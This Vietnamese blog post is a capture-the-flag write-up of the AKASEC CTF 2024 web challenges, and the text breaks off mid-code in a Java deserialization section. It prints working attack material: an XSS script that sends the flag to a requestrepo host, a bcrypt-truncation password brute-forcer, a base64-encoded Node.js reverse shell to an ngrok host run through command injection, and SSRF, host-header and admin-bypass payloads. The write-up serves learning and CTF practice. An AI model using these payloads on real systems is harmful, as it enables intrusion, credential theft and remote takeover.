Try   HackMD

Cuối tuần này câu lạc bộ của mình có tham gia vào giải AKASEC CTF 2024 và cũng đạt được 1 số thành quả nhất định, trong giải thì mình không tự solve được bài nào, mình vẫn chậm trong việc spot lỗi và bypass exploit mà chủ yếu toàn là học hỏi hướng đi và cách giải của các teammates. Nhưng mình cũng học được những kiến thức mới từ teammates và các anh khóa trước nên không sao, kiến thức +1.
Về các web challenge của giải này mình thấy khá hay và đa dạng các loại ngôn ngữ, team mình đã cố gắng hết sức những vẫn không clear được web mà vẫn còn 1 challenge rust, khá tiếc vì đấy là challenge mình dành hầu hết thời gian cho nó mà không tìm được hướng đi đúng đắn. Âu cũng là bài học kinh nghiệm để sau mình không dính quá sâu vào rabbithole mà không lùi ra kịp nữa =))
Chia sẻ dài dòng rồi, mình bắt đầu thôi.

Upload

Đề bài

Đây là một challenge như mình thấy thì không có gì ngoài upload và login ở đây cả.

image
Nhưng mà mình có cả link bot nữa, nên mình đoán nó sẽ là upload file to XSS

Source & Exploit

Route upload file xử lý khá đơn giản, filename được truyền vào db cùng với tên người dùng, và có thể xem qua endpoint /view/file-name

app.post('/upload', upload.single('file'), (req, res) => {
	const fileData = {
	  filename: req.file.filename,
	  path: req.file.path,
	  user: req.user
	};
  
	uploadfile.insert(fileData, (err, newDoc) => {
	  if (err) {
		res.status(500).send(err);
	  } else {
		res.redirect('/view/' + req.file.filename);
	  }
	});
});

Tại const upload trên file được check mime type để xem có đúng là pdf hay không:

const upload = multer({ 
  storage: storage,
  fileFilter: (req, file, cb) => {
    if (file.mimetype == "application/pdf") {
      cb(null, true);
    } else {
      cb(null, false);
      return cb(new Error('Only .pdf format allowed!'));
    }
  }
});

Flag nằm tại route /flag, nhưng chỉ truy cập được từ local:

app.get('/flag', (req, res) => {
  let ip = req.connection.remoteAddress;
  if (ip === '127.0.0.1') {
    res.json({ flag: 'AKASEC{FAKE_FLAG}' });
  } else {
    res.status(403).json({ error: 'Access denied' });
  }
});

Mình thấy việc check này lỏng quá, hoàn toàn có thể upload file khác để report bot xss đến route /flag, sau đó ném kết quả về requestrepo hộ mình.
Mình upload thử trước 1 file html:

image
Nếu trỏ sang view thì sẽ không trigger được xss vì file được xem bằng pdf.js, file nằm trong thư mục uploads/ nên trỏ đến /uploads/file-1718003466650.html sẽ trigger xss:
image

image

Mình craft một file html để xss:

<script>
const a = async () => {
	let b = await fetch('/flag');
	let c = await b.text();
	let d = await fetch('http://m6fi10oc.requestrepo.com', {
		method: 'POST',
		body: c
	});
};
a();
</script>

image
image

Gửi cho bot với route /uploads/file-1718003739434.html và đợi flag về thôi, lưu ý mình cần gửi với đúng định dạng url của con bot:

APPURL: process.env['APPURL'] || "http://127.0.0.1:5000"

image
Bot nhanh quá gửi cái requestrepo có request luôn:
image

Flag: AKASEC{PDF_1s_4w3s0m3_W1th_XSS_&&_Fr33_P4le5T1n3_r0t4t333d_loooool}

Afterthought

Sau khi lượn lờ ở kênh discord thì có vẻ intended của bài là CVE của pdf.js thì phải :">

Proxy For Life

Đề bài

Challenge cho cái giao diện làm mình nghĩ đến vuln SSRF classsic là fetch URL nhưng mà thử 1 hồi không giòn nên mình đi xem source code:

image

Source & Exploit

Đoạn fetching cũng chỉ đơn thuần là trỏ đến URL bằng một GET request, đọc nội dung và hiển thị render ra nội dung đó trong template html:

func indexHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method == http.MethodPost {
        config := safeurl.GetConfigBuilder().
            Build()

        client := safeurl.Client(config)

        url := r.FormValue("url")

        _, err := client.Get(url)
        if err != nil {
            renderTemplate(w, "index", map[string]string{"error": "The URL you entered is dangerous and not allowed."})
            fmt.Println(err)
            return
        }

        resp, err := http.Get(url)
        if err != nil {
            fmt.Println(err)
            return
        }
        defer resp.Body.Close()

        body, _ := io.ReadAll(resp.Body)
        renderTemplate(w, "index", map[string]interface{}{"result": template.HTML(body)})
        return
    }

    renderTemplate(w, "index", nil)
}

Ảo nhất là quả route đến /flag cho quả so sánh 1=0 thì in ra flag =)))

func flagHandler(w http.ResponseWriter, r *http.Request) {
    args := os.Args
    flag := args[1]
    if 1 == 0 { // can you beat this :) !?
        fmt.Fprint(w, flag)
    } else {
        fmt.Fprint(w, "Nahhhhhhh")
    }
}

Cái route flag coi như bỏ đi sau khi mình đọc đến dòng điều kiện =))).
Sau khi nghịch SSRF không ra cái gì, mình chuyển qua xem lib nó có gì sus không thì thấy có thư viện net/http/pprof là không được dùng trong code.

import (
    "os"
    "io"
    "fmt"
    "net/http"
    _ "net/http/pprof"
    "html/template"
    "github.com/doyensec/safeurl"
)

Đi tìm hiểu về thư viện này thì mình thấy có một số path khá hay, cụ thể là debug/pprof/ -> Ref
Trỏ đến thì mình thấy giao diện giải thích khá chi tiết một số path tiếp theo và công dụng:

image
Trong đó mình để ý path cmdline sẽ hiển thị câu lệnh khởi tạo tiến tình hiện tại, là tiến trình web golang này (cũng tương tự như /proc/self/cmdline).
Khoan, flag được đưa vào như một tham số chạy web, vậy mình chỉ cần đọc nó là có flag rồi, cần gì route /flag kia nữa.
Câu lệnh chạy webapp trong Dockerfile đã thể hiện điều mình vừa nói:
image

Cũng không SSRF lắm =))))
image

Flag: AKASEC{r0t4t3d_p20x1n9_f002_11f3_15n7_92347_4f732_411____}

HackerCommunity

Đề bài

Đây là một chall web code bằng ruby với rất nhiều thư mục :)), mình cũng không rành về thằng ruby này lắm nên việc review source mất kha khá thời gian và thực sự là mình cũng chưa hiểu hết cách hoạt động của thằng này
Challenge cho mình nhập tên tại endpoint /join và sẽ hiển thị tên của những người đã nhập tên tại endpoint /home

image

Source Code

Khi gọi POST request đến /join, web server xử lý req thông qua hàm create trong join_controller.rb:

class JoinController < ApplicationController
  ...

  def create
    redirect_to home_path if session[:user_id]
    begin
      @user = User.new(user_params)
      if @user.save
        session[:user_id] = @user.id
        redirect_to home_path
      else
        render :index
      end
    rescue ActiveModel::UnknownAttributeError => e
        render plain: e, status: :forbidden
    end
  end

  private
  def user_params
    params.delete_if {|k,v| !k.is_a?(String) || !v.is_a?(String) || !k.ascii_only? || ["authenticity_token", "controller", "action", "admin"].include?(k)}.permit!
  end
end
  • User mới được thêm vào db, sau khi save userid được gán vào session, người dùng được redirect về home_path là /home
  • Các tham số của request sẽ đi qua filter trước khi được lưu, khi có các ký tự không chỉ chứa chuỗi, hoặc không chỉ có các ký tự ascii, hoặc tham số là một trong các tham số như trong code trên thì sẽ bị xóa khỏi request
  • Mặc định mình thấy có 2 tham số được truyền vào là authenticity_tokenusername:
    image
  • Chỉ có thuộc tính username mới được đưa vào, authenticity_token đã bị filter:
    image

Tại route /home phục vụ phương thức GET, admin sẽ có thể redirect đến latest/url:

class HomeController < ApplicationController
  def index
    if session[:user_id]
      @username = User.find_by(id: session[:user_id]).username
      if User.find_by(id: session[:user_id]).admin?
        begin
          response = HTTP.follow.get(users_latest_url)
          @users = JSON.parse(response.body)
        rescue Exception => e
          render plain: "Error: #{e}", status: 500
        end
      else
        @users = User.order(created_at: :desc).limit(5).as_json
      end
    else
      redirect_to(join_url)
    end
  end
end
  • users_latest_url tại đây là route đầu tiên được khai báo trong file routes.rb: get '/users/latest', to: "users#latest"
  • Lấy body và hiển thị dưới dạng json
  • Còn nếu như không có sẽ hiển thị 5 người dùng được tạo gần đây nhất

Trong routes.rb đã nêu đường dẫn có thể trỏ đến của challenge:

Rails.application.routes.draw do
  root to: redirect('/join')
  get '/users/latest', to: "users#latest"
  get '/flag', to: "users#flag"
  get '/join', to: 'join#index'
  post '/join', to: 'join#create'
  get '/home', to: 'home#index'
end
  • Mình chú ý thấy có path /flag nằm trong def flag của users_controller

Route /flag chỉ có thể trỏ đến thông qua local, hàm kiểm tra địa chỉ có phải 127.0.0.1 thì mới cho phép truy cập, không sẽ hiển thị thông báo Access Denied:

class UsersController < ApplicationController
  before_action :restrict_access

  ...

  def flag
    render plain: File.open("/rails/flag.txt").read
  end

  private
  def restrict_access
    render plain: "Access Denied", status: :forbidden unless request.env['REMOTE_ADDR'] == '127.0.0.1'
  end
end

Nên mình nghĩ là cần phải lên admin rồi tìm cách SSRF trỏ đến route flag tại local thì có được flag

Exploit

Việc đầu tiên là mình cần phải làm cách nào đó để set được thuộc tính admin là true trong bảng users

ActiveRecord::Schema[7.1].define(version: 2024_06_08_020314) do
  create_table "users", force: :cascade do |t|
    t.string "username"
    t.boolean "admin"
    t.datetime "created_at", null: false
    t.datetime "updated_at", null: false
  end

Tuy nhiên nếu set là admin=1 ở trong request là bị filter giá trị ngay.
Đầu tiên thì mình cũng không để ý, nhưng trong folder log có file development.log là log của quá trình author tạo dựng và thực hiện challenge (mình đoán vậy), tại đây mình có thể thấy rõ ràng kết quả được đưa vào insert trong db sqlite:

image
Mặc định không nhét giá trị admin vào thì admin sẽ được gán là 0 -> false
Kéo xuống tiếp 1 đoạn khá dài thì mình để ý thấy có request này khiến admin trở thành 1:
image

Thay vì truyền vào admin=1 thì mình sử dụng admin()=1, đây là cách sử dụng multiparameter attributes trong ruby on rails, thường được sử dụng để lưu giá trị ngày tháng ref. Ví dụ như date(1i) -> phần tử thứ nhất có kiểu integer
Từ đó trong log mình cũng thấy author sử dụng admin(1i)=1
image

Mình đã có được cách bypass admin từ author ròi=)))
image

Giờ mình cần tìm cách trỏ đến route /flag tại route /home, người em thiện lành - teammate của mình l3mnt2010 phát hiện thằng này dính host header injection khi truyền vào X-Forwarded-Host thì nó sẽ redirect theo, mình thử chèn burp collaborator thì đúng thật:
image

image

Theo như mình hiểu là Rails sẽ lấy giá trị của Host để nối với đoạn users_latest_url của users tạo thành _url hoàn chỉnh rồi follow theo bằng GET request, đây gần như là tính năng của Rails khi các helpers của _url dùng giá trị của header Host để build up url: Ref. Có thể khẳng định nó dính host header injection.
Ngon, vậy mình đến local luôn thôi:
image

=))) Có vẻ là nó không nhận cổng của mình mà chỉ lấy tên miền xong redirect theo, nên mình sẽ ngrok để host 1 web để redirect ra flag:
image

Khi request mình sẽ phải dấu # để request coi phần /users/latest là fragment chứ không phải url path, vì file kia của mình đang để index.php. Mình nghĩ cũng có thể nhét index.php vào thư mục /users/latest thì sẽ không cần xài dấu fragment nữa =))
Redirect thành công:
image

Gửi request tương tự trên server mình có flag
image

Flag: AKASEC{__W3lc0me_t0_HackerC0mmun1tyy__}

RustyRoad

Đề bài

Đây là bài mình ngốn mấy ngày để ngồi làm nhưng mà không ra được kết quả ngay từ bước đầu tiên :((
Challenge bao gồm 2 service, web service code bằng rust và log service được thực hiện bằng js

image

Source Code

Rust service

Ban đầu website sẽ khai báo khởi tạo 3 giá trị, SECRET -> secret key token được gen 30 ký tự ngẫu nhiên, PASSWORD là mật khẩu của admin và API_KEY là api key cho service js:

lazy_static! {
    static ref SECRET: String = {
        let secret: String = rand::thread_rng()
            .sample_iter(&Alphanumeric)
            .take(30)
            .map(char::from)
            .collect();
        secret
    };

    static ref PASSWORD: String = "REDACTED".to_string();

    static ref API_KEY: String = std::env::var("API_KEY").expect("API_KEY must be set");

    static ref USERS: Mutex<Vec<User>> = Mutex::new(vec![
        User {
            username: "admin".to_string(),
            password: hash_password(&PASSWORD),
        }
    ]);
}
  • Như mình đã thấy ở đây, người dùng sẽ được lưu vào dạng như một vector với cấu trúc là Users {username , password}
  • Người dùng admin được tạo với username admin và mật khẩu đã bị mã hóa

Mình sẽ nói đến các helper/utils được sử trong các hàm xử lý req trước, trong đó có 2 hàm quan trọng mà mình muốn nói đến:

  • Hàm subs (mình nghĩ là substitute) sẽ thay thế chữ PASSWORD trong input thành mật khẩu của admin:
fn subs(input: String) -> String {
    input.replace("PASSWORD", &PASSWORD)
}
  • Hàm hash_password hash mật khẩu của người dùng theo thuật toán bcrypt
fn hash_password(password: &str) -> String {
    hash(password, DEFAULT_COST).unwrap()
}

Tại route /register, khi người dùng đăng kí thì username sẽ được kiểm tra trước khi được lưu vào mutex:

#[post("/register", data = "<form>")]
fn register(form: Form<RegisterForm>, cookies: &CookieJar<'_>) -> Redirect {

    let username = subs(form.username.clone());
    if username.contains("admin") || username.contains(PASSWORD.as_str()) {
        return Redirect::to("/register");
    }

    let password = subs(form.password.clone());
    let password = hash_password(&password);

    println!("{:?}, {:?}", username, password);
    add_user(&username, &password);

    let claims = Claims {
        username: form.username.clone(),
        user_type: "user".to_string(),
        exp: 10000000000,
    };
    let token = encode(&Header::default(), &claims, &EncodingKey::from_secret(SECRET.as_ref())).unwrap();

    cookies.add(Cookie::new("token", token.clone()));

    Redirect::to("/")
}
  • Username được chạy qua hàm subs, sau đó kiểm tra xem username có chứa admin hoặc mất khẩu của admin không, nếu có redirect về register
  • Thỏa mãn username, mật khẩu được chạy qua hàm subs và hash_password rồi được thêm vào mutex
  • Token được tạo dựa trên username điền tại form chứ không phải giá trị đã substitute -> không có trò leak mật khẩu admin tại token được. Loại user_type gắn cứng là user -> khỏi bypass token admin luôn

Chức năng đăng nhập tại route login cũng khá tương tự, khi tìm thấy username đầu tiên trong mutex trùng khớp với username nhập tại form sẽ tiêp tục kiểm tra bằng verify hash để xem có trùng khớp hay không:

#[post("/login", data = "<form>")]
fn login(form: Form<RegisterForm>, cookies: &CookieJar<'_>) -> Redirect {
    let username = form.username.clone();
    let password = form.password.clone();

    let users_lock = USERS.lock().unwrap();

    let user = users_lock.iter().find(|user| user.username == username);
    if let Some(user) = user {
        if verify(&password, &user.password).unwrap() {
            let user_type = if username == "admin" {
                "admin".to_string()
            } else {
                "user".to_string()
            };
            ....
}
  • Nếu username là admin thì mới có role admin, còn lại sẽ gắn là user -> bắt buộc cần phải login bằng acc admin

=> Mình có thể kết luận này không có cách nào leak trực tiếp được full mật khẩu admin ra màn hình với logic code này, cũng không có trò tạo admin thứ 2 (vì mình đã thử) bởi hàm find sẽ lấy kết quả nó tìm được đầu tiên và sẽ luôn lấy admin của nó vì admin gốc đứng đầu mảng =))
Route /log sử dụng API_KEY ở trên đưa vào header rồi request đến service js port 3000, để sử dụng route này thì user_type phải là admin:

#[post("/log", format = "json", data = "<log_data>")]
async fn admin_log(cookies: &CookieJar<'_>, log_data: Json<Value>) -> Json<String> {
    let token = cookies.get("token").map(|cookie| cookie.value()).unwrap_or("");
    match validate_token(token) {
        Ok(data) => {
            if data.claims.user_type == "admin" {
                let client = reqwest::Client::new();
                let res = client.post("http://adminlogging:3000/log")
                    .header(header::AUTHORIZATION, API_KEY.as_str())
                    .json(&log_data.into_inner())
                    .send()
                    .await
                    .expect("Failed to send request");

                if res.status().is_success() {
                    Json("{ \"status\": \"Logged successfully\" }".to_string())
                } else {
                    Json("{ \"status\": \"Failed to log\" }".to_string())
                }
            } else {
                Json("{ \"status\": \"Access Denied\" }".to_string())
            }
        },
        Err(_) => Json("{ \"status\": \"Unauthorized\" }".to_string()),
    }
}

Service JS

Tại đây mình thấy nó xài $ từ bun thì mình nghĩ ngay đến command injection, service chỉ phục vụ duy nhất 1 công dụng là chạy câu lệnh logger + body với body là nội dung của biến message theo kiểu JSON bằng 1 POST request:

if (req.method !== "POST") {
      return new Response(figlet.textSync("405!"), { status: 405 });
    }
    if (req.headers.get("Content-Type") !== "application/json") {
      return new Response(figlet.textSync("415!"), { status: 415 });
    }

    const body = await req.json();

    if (!body.message) {
      return new Response(figlet.textSync("400!"), { status: 400 });
    }

    if (url.pathname === "/log") {
      await $`logger ${body.message}`;
      return new Response("Logged!", { status: 200 });
    }

Như vậy, mục tiêu của mình là bypass admin và sử dụng route /log để RCE

Exploit

Bypass Admin

Mình đã thử khá nhiều cách để bypass admin nhưng thất bại, vì cứ nghĩ vuln sẽ theo kiểu code logic nên mình đi tìm cách để leak luôn cả mật khẩu admin qua hàm subs kia, mình thử cả SSTI handlebars của Rust nữa nhưng cũng không mang lại kết quả gì.
Sau giải mình mới đc biết solution của 1 team là bcrypt truncation -> cái này mình không nghĩ đến.
Khi sử dụng bcrypt để hash thì chuỗi input chỉ có độ dài lớn nhất là 72 byte, nếu như input > 72 byte bcrypt sẽ tự động loại bỏ để tiến hành băm chuỗi đó. Đây là một vuln muôn thủa của bcrypt mà tại trang PHP khi sử dụng hash_password có nhắc đến. Nhưng mình không nghĩ ra vuln này khi đây là ngôn ngữ Rust :((((
Biết được vuln tại đấy, mình có thể leak từ từ từng kí tự của mật khẩu admin bằng việc:

  • Register account với 71 ký tự 'a' + PASSWORD
    image
  • Khi đăng kí xong PASSWORD sẽ bị thay bằng mật khẩu của admin, hash_password lấy 72 kí tự đem đi hash -> bao gồm 71 chữ 'a' và ký tự đầu của PASSWORD
  • Bruteforce login vào tài khoản mình tạo, nếu đăng nhập thành công thì mình có được ký tự đầu của pass admin.
  • Mình phân loại đâu là request đúng theo giá trị của header Location tại request, vì nếu như request thành công sẽ redirect đến /, còn thất bại sẽ là /login
    image

    image
  • Cứ thế giảm số lượng chữ 'a', brute lấy từng ký tự một, mình có mật khẩu admin

Mình viết script py dựa theo ý tưởng của teammate, thanks to Ngọc:

import requests
import random
import string

BASE_URL = "http://192.168.92.162:1337/"
admin = ""

for i in range(10):
    username = "".join(random.choices(string.ascii_letters + string.digits, k=3))
    data = {
        "username": username,
        "password": "a"*(71-len(admin)) + "PASSWORD"
    }
    requests.post(url=BASE_URL+"register", data=data)

    for char in string.printable:
        data = {
            "username": username,
            "password": "a"*(71-len(admin)) + admin +char 
        }
        res = requests.post(url=BASE_URL+"login", data=data, allow_redirects=False)
        location = res.headers["location"]
        if location == "/":
            admin += char
            break
    print(admin)

print(admin)

Tại local thì mình đã thấy ra mật khẩu thành công vì local nó hardcode là REDACTED

image
Ps: Tại challenge mật khẩu không phải chỉ có 10 kí tự nên mình đã tăng số lượng vòng lên 30 thì có mật khẩu đúng là M07H4F7H38167Hr33175JU57816M3
Coi như là mình đã bypass thành công admin, chuyển qua stage tiếp theo thôi:
image

Command Injection

Tại service js rõ ràng là nó đã đưa vào câu lệnh hệ thống bằng module bun, nhưng nếu như truyền vào thì sẽ không hoạt động, vì nếu truyền thẳng vào thì chuỗi sẽ bị escape.
Để command không bị escape, mình sẽ sử dụng đến thuộc tính raw: https://bun.sh/docs/runtime/shell#escape-escape-strings

image
Khi truyền vào raw thì string command sẽ không bị escape nữa, từ đó có thể thực thi được câu lệnh
image

Challenge không có curl hay wget, nên mình sẽ đi theo hướng reverse shell.
Mình xài luôn revese shell theo kiểu nodejs cho chắc cú:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(19916, "0.tcp.ap.ngrok.io", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

Sử dụng bun run để chạy đoạn js này:

image
Base64 câu lệnh để đỡ phải escape mấy dấu nháy trong json:
image

Craft thành payload:

lmao && echo KGZ1bmN0aW9uKCl7DQogICAgdmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLA0KICAgICAgICBjcCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKSwNCiAgICAgICAgc2ggPSBjcC5zcGF3bigiL2Jpbi9iYXNoIiwgW10pOw0KICAgIHZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOw0KICAgIGNsaWVudC5jb25uZWN0KDE5OTE2LCAiMC50Y3AuYXAubmdyb2suaW8iLCBmdW5jdGlvbigpew0KICAgICAgICBjbGllbnQucGlwZShzaC5zdGRpbik7DQogICAgICAgIHNoLnN0ZG91dC5waXBlKGNsaWVudCk7DQogICAgICAgIHNoLnN0ZGVyci5waXBlKGNsaWVudCk7DQogICAgfSk7DQogICAgcmV0dXJuIC9hLzsgLy8gUHJldmVudHMgdGhlIE5vZGUuanMgYXBwbGljYXRpb24gZnJvbSBjcmFzaGluZw0KfSkoKTs= | base64 -d | bun run -

image

Reverse shell thành công

image
Flag: AKASEC{w311_17_41n7_7h47_2u57yyy_4f732_411}

HackerNickName

Đề bài

Challenge này theo mình đánh giá là hay và khó nhất của giải, được code bằng Java và sử dụng một service code bằng python để hiện ra hackernickname random trong chuỗi có sẵn

image

Source Code

Route home / khi sẽ nhận POST request sẽ xử lý thông tin để trả về một jwt:

@RequestMapping({"/"})
public class HomeController { 
    @PostMapping(consumes = {"application/json"})
    public void post(@RequestBody @Valid Hacker hacker, HttpServletResponse response) {
        hacker.setNickName(this.nicknameService.getNickName());
        String token = this.jwtUtil.generateToken(hacker.getInfo());
        Cookie cookie = new Cookie("jwt", token);
        cookie.setHttpOnly(true);
        cookie.setPath("/");
        response.addCookie(cookie);
    }
}
  • Body request được gửi dưới dạng JSON, nicknameService.getNickName() sẽ có nhiệm vụ lấy nickname bất kỳ trong array nicknames
public NicknameService(@Value("${nicknames.file.path}") String filePath) throws IOException {
    this.filePath = ResourceUtils.getFile(filePath).toPath();
    List<String> lines = Files.readAllLines(this.filePath);
    this.nicknames = lines.toArray(new String[0]);
}

public String getNickName() {
    return nicknames[random.nextInt(nicknames.length)];
}
  • Cứ mỗi 2 phút file chứa các nicknames được update bằng service python port 5000 thông qua câu lệnh curl:
@EnableScheduling
public static class NickNamesDBUpdate {
    private final NicknameService nicknameService;

    public NickNamesDBUpdate(@Autowired NicknameService nicknameService) {
        this.nicknameService = nicknameService;
    }

    @Scheduled(fixedDelay = 2, timeUnit = TimeUnit.MINUTES)
    public void run() throws IOException, NullPointerException, InterruptedException {
        String filePath = nicknameService.filePath.toString();
        ProcessBuilder pb = new ProcessBuilder("curl", "-f", "http://nicknameservice:5000/getnicknames", "-o", filePath);
        pb.start().waitFor();
        nicknameService.reload();
    }
}
  • Thông tin được craft đủ để đưa vào object hacker thông qua getInfo():
public Map<String, Object> getInfo() {
    Map<String, Object> hackerInfo = new HashMap<>();
    hackerInfo.put("nickname", nickName);
    hackerInfo.put("admin", isAdmin());
    return hackerInfo;
}
  • Quan sát thấy các thuộc tính trong JSON được khai báo tại hàm bên trên:
@JsonCreator
public Hacker(@JsonProperty(value = "firstName", required = true) String firstName,
              @JsonProperty(value = "lastName", required = true) String lastName,
              @JsonProperty(value = "favouriteCategory", required = true) String favouriteCategory,
              @JacksonInject UserRole hackerRole) {
    this.firstName = firstName;
    this.lastName = lastName;
    this.favouriteCategory = favouriteCategory;
    this.role = hackerRole;
}
  • Annotation @JsonProperty thông báo rằng giá trị thuộc tính được lấy từ giá trị tương ứng trong JSON
  • Annotation @JacksonInject thông báo rằng giá trị này không thể lấy từ JSON mà chỉ có thể inject vào, thuộc tính role chính là giá trị trả về của isAdmin(), hàm sẽ trả về thuộc tính admin có trong thuộc tính role vì role là 1 instance của class UserRole:
public class UserRole {
    public boolean admin;

    @JsonCreator
    public UserRole(@JsonProperty("admin") boolean admin) {
        this.admin = admin;
    }
}

-> Để có thể lên được admin thì mình thấy cần phải set được giá trị của hackerRoleadmin=true thì hàm isAdmin() mới trả về true

Sau khi POST thành công tại / web server sẽ redirect mình sang /nickname, tại đây server xử lý khá đơn giản là lấy giá trị của cookie jwt tạo từ route trước để lấy giá trị của thuộc tính nickname rồi hiện nó ra màn hình.

@GetMapping(produces = {"text/html"})
public String get(Model model, HttpServletRequest request) {
    Cookie[] cookies = request.getCookies();
    if (cookies != null && cookies.length != 0) {
        Optional<Cookie> jwtCookie = Arrays.stream(cookies).filter((cookie) -> {
            return "jwt".equals(cookie.getName());
        }).findFirst();
        if (!jwtCookie.isEmpty() && this.jwtUtil.validateToken(((Cookie)jwtCookie.get()).getValue())) {
            model.addAttribute("nickname", this.jwtUtil.extractClaims(((Cookie)jwtCookie.get()).getValue()).get("nickname"));
            return "nickname";
        } else {
            return "redirect:/";
        }
    } else {
        return "redirect:/";
    }
}

Thứ mình muốn đến là các route có điều kiện, đầu tiên là route của admin sẽ có prefix /admin/, tại đây có chức năng update cho phép thực thi lệnh curl mà mình có thể control giá trị url

@PostMapping({"/update"})
public ResponseEntity<String> post(@RequestParam("url") String url, HttpServletRequest request) throws NullPointerException, IOException, InterruptedException {
    if (!this.isAdmin(request.getCookies())) {
        return ResponseEntity.status(401).body("You are not an admin.");
    } else {
        URL parsedUrl;
        try {
            parsedUrl = new URL(url);
        } catch (MalformedURLException var6) {
            return ResponseEntity.status(401).body(var6.getMessage());
        }

        if (parsedUrl.getProtocol().equals("http") && parsedUrl.getHost().equals("nicknameservice") && parsedUrl.getPort() == 5000) {
            ProcessBuilder pb = new ProcessBuilder(new String[]{"curl", "-f", url, "-o", this.nicknameService.filePath.toString()});
            Process p = pb.start();
            p.waitFor();
            this.nicknameService.reload();
            return ResponseEntity.ok("updated.");
        } else {
            return ResponseEntity.status(401).body("Invalid URL");
        }
    }
}
  • Gọi một request POST với param url, url này sẽ bị filter trước khi đưa vào câu lệnh curl, cụ thể là phải có protocol http://, host phải là nicknameservice và port 5000 -> y như cái url update file nickname thì mới đưa vào được câu lệnh curl

Route mà mình nghĩ cần dùng để RCE được là tại /ExperimentalSerializer, tuy nhiên nó chỉ được sử dụng ở localhost:

@RequestMapping({"/ExperimentalSerializer"})
public class ExperimentalSerializerController {
    public ExperimentalSerializerController() {
    }

    @GetMapping
    public String experimentalSerializer(@RequestParam(value = "serialized",required = false) String serialized, HttpServletRequest request, Model model) {
        if (!request.getRemoteAddr().equals("127.0.0.1")) {
            return "redirect:/";
        } else {
            if (serialized != null) {
                HashMap<String, Object> result = ExperimentalSerializer.deserialize(serialized);
                model.addAttribute("result", result.toString());
            }

            return "serializer";
        }
    }
}
  • Hàm lấy giá trị từ param URL serialized để thực thi hàm deserialize tự custom, nhưng để truy cập tới thì IP truy cập phải là localhost, kết hợp với route /admin/update bên trên thì mình cần phải để server curl đến mới thỏa mãn truy cập vào đc route này.
  • Phần deserialize mình sẽ nói kĩ hơn ở phần khai thác bên dưới, nhưng sink của nó tồn tại ở readValue có chứa CVE-2017-17485
public static HashMap<String, Object> deserialize(String serialized) {
    ObjectMapper mapper = new ObjectMapper();
    HashMap<String, Object> result = new HashMap<String, Object>();
    try {
        List<SerializationItem> dataList = mapper.readValue(serialized, new TypeReference<List<SerializationItem>>() {});
    ...

Exploit

Bypass Admin by Jackson annotation

Theo lý thuyết thì thuộc tính hackRole không thể truy cập được thông qua json, tuy nhiên teammate endy tìm được link doc và cách bypass rất hay (mình search không ra :cry:) https://blog.kuron3k0.vip/2021/04/10/vulns-of-misunderstanding-annotation/
Bằng cách truyền vào giá trị key là null: "", mình có thể ghi giá trị vào field kế tiếp.
Từ đó mình có thể truyền vào "":{"admin":true} thì có thể set được giá trị của này vào role, bypass admin thành công:

image
Đã có jwt session valid, giờ mình cần tìm cách SSRF vào route /ExperimentalSerializer thông qua câu lệnh curl tại route /admin/update

SSRF to /ExperimentalSerializer using curl globbing

Vì được nhét vào câu lệnh curl, nên mình hoàn toàn có thể truyền 2 URL vào câu lệnh thông qua curl globbing để bypass đoạn check.
Có 2 cách để curl globbing, một là sử dụng [] để truyền vào một chuỗi tăng dần các ký tự, ví dụ [1-10] hoặc [e-f]lag, khi curl server sẽ curl đến 2 chỗ: elag và flag, còn hai là sử dụng {} để truyền vào một tập các giá trị, cách nhau bằng dấu , ví dụ như {a,b,c} thì khi curl sẽ thực hiện curl từng cái a,b,c một thành các request riêng biệt
Từ đó mình đã có payload như này:

url=http://{nicknameservice:5000/, 127.0.0.1:8090/}ExperimentalSerializer?serialized=

Nhưng payload này không thành công

image
Mình đoán là do đang ko lấy được host đúng của URL, sau khi thử một hồi không được thì mình đã đi ngủ để mai dậy làm tiếp, sáng hôm sau mình thấy teammate chanze có cách bypass là sử dụng @ để truyền vào giá trị host:

url=http://{@nicknameservice:5000/, 127.0.0.1:8090/}ExperimentalSerializer?serialized=

@ là một native syntax để khai báo một URI, cấu trúc của một URI sẽ có như sau:

URI = scheme ":" ["//" authority] path ["?" query] ["#" fragment]

Bên trong phần authority sẽ chứa user, pass, host và port:

authority = [userinfo "@"] host [":" port]

Một URI đầy đủ có thể được biểu diễn bằng hình dưới đây

image
Nên khi ta sử dụng dấu @, webserver sẽ hiểu chuỗi đằng sau là hostname và bypass qua hàm check URL
image

Deserialize - CVE-2017-17485

Tại đoạn code xử lý deser, giá trị của biến serialized được đưa vào mảng dataList, sau dó tùy giá trị của thuộc tính type mà sẽ xử lý khác nhau:

List<SerializationItem> dataList = mapper.readValue(serialized, new TypeReference<List<SerializationItem>>() {});
for (SerializationItem item : dataList) {
    switch (item.type) {
        case "string" -> result.put(item.name, item.value);
        case "boolean" -> result.put(item.name, Boolean.valueOf(item.value));
        case "integer" -> {
            try {
                Integer r = Integer.valueOf(item.value);
                result.put(item.name, r);
            } catch (NumberFormatException e) {
                result.put(item.name, Integer.valueOf("0"));
            }
        }
        case "double" -> {
            try {
                Double r = Double.valueOf(item.value);
                result.put(item.name, r);
            } catch (NumberFormatException e) {
                result.put(item.name, Double.valueOf("0"));
            }
        }
        case "float" -> {
            try {
                Float r = Float.valueOf(item.value);
                result.put(item.name, r);
            } catch (NumberFormatException e) {
                result.put(item.name, Float.valueOf("0"));
            }
        }
        case "long" -> {
            try {
                Long r = Long.valueOf(item.value);
                result.put(item.name, r);
            } catch (NumberFormatException e) {
                result.put(item.name, Long.valueOf("0"));
            }
        }
        case "byte" -> {
            try {
                Byte r = Byte.valueOf(item.value);
                result.put(item.name, r);
            } catch (NumberFormatException e) {
                result.put(item.name, Byte.valueOf("0"));
            }
        }
        case "object" -> {
            try {
                String[] args = item.value.split("\\|");
                if (args.length == 2) {
                    Class<?> clazz = Class.forName(args[0]);
                    Constructor<?> constructor = clazz.getConstructor(String.class);
                    Object instance = constructor.newInstance(args[1]);
                    result.put(item.name, instance);
                } else if (args.length == 3) {
                    Class<?> clazz = Class.forName(args[0]);
                    Constructor<?> constructor = clazz.getConstructor(String.class, String.class);
